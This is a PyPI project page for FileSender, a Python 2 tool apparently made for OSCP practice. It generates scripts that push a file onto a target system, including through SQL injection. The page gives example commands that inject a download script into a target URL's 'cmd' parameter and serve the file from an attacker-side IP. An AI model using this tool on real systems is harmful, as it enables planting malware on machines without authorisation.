Skip to main content

Create script into different language to download a file form a server . Can be useful to send file via a SQLi.

Project description

PyPi License Donate Beerpay

Table of Contents

FileSender

Project URL : https://github.com/EmilienPer/FileSender

FileSender was created to be used for OSCP certification. It's aims to generate a script to upload a file to a target in different languages. The base mechanism is the following :

  • Copy the file in a tempory directory
  • Start a server (if required)
  • Create the script to download the file from the server or to build the file
  • Send the script to the target

Requirement

FileSender run on Python 2.7 can't work correctly without the following tools

The following tools are required:

  • upx (/usr/bin/upx)
  • exe2bat.exe
  • wine

Installation

sudo pip install filesender

Options

Option Shortcut Description
file The path to file to send
method the language of the script (powershell,hex,ftp,wget,vbscript,exe2bat)
type the type of output/sending method (print / get / post)
dest the destination directory on the target
--server-ip The local ip address
--server-port The local port
--url -u The Target URL
--params -p A json {key:value} where value=<SCRIPT> when should be replace by the script
--cookies -c The cookies json
--timeout The timeout for server

Usage

  • filesender /path/to/my/file.exe wget get /path/on/the/target --server-ip 10.10.10.10 --server-port 80 -u http://target.com -p {\"cmd\":\"<SCRIPT>\"} -c {} --timeout 10
  • filesender /path/to/my/file.exe ftp print /path/on/the/target
  • filesender /path/to/my/file.exe wget get /path/on/the/target --server-ip 10.10.10.10 --server-port 80 -u http://target.com -p {\"cmd\":\"<SCRIPT>\"}

Issues management

For contributions or suggestions, please open an Issue and clearly explain, using an example or a use case if appropriate.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

filesender-1.tar.gz (6.9 kB view details)

Uploaded Source

Built Distribution

filesender-1-py2-none-any.whl (22.1 kB view details)

Uploaded Python 2

File details

Details for the file filesender-1.tar.gz.

File metadata

  • Download URL: filesender-1.tar.gz
  • Upload date:
  • Size: 6.9 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/1.12.1 pkginfo/1.5.0.1 requests/2.21.0 setuptools/39.0.1 requests-toolbelt/0.9.1 tqdm/4.30.0 CPython/2.7.15

File hashes

Hashes for filesender-1.tar.gz
Algorithm Hash digest
SHA256 2ee7301f4b4287bbd9fe61adc9872a1a4849f86473051c29f347d2c38836ca1c
MD5 f385f87b650239eb399d2a3a8be1569f
BLAKE2b-256 9fcda7e1796269be0d82fb8f071c55e1f66cd73f7f29662459fa0c919689cff3

See more details on using hashes here.

File details

Details for the file filesender-1-py2-none-any.whl.

File metadata

  • Download URL: filesender-1-py2-none-any.whl
  • Upload date:
  • Size: 22.1 kB
  • Tags: Python 2
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/1.12.1 pkginfo/1.5.0.1 requests/2.21.0 setuptools/39.0.1 requests-toolbelt/0.9.1 tqdm/4.30.0 CPython/2.7.15

File hashes

Hashes for filesender-1-py2-none-any.whl
Algorithm Hash digest
SHA256 48e3b71b9b2de8e9435675bf266fc98a5a79b1e866afa646c312a12ea854c117
MD5 87fd10a584eddbecda14ef0ddc368121
BLAKE2b-256 62e62c25d3a8386b2080c68f86c64a6df7eabf755d2bbfa4ad15ff6defb1bcb7

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page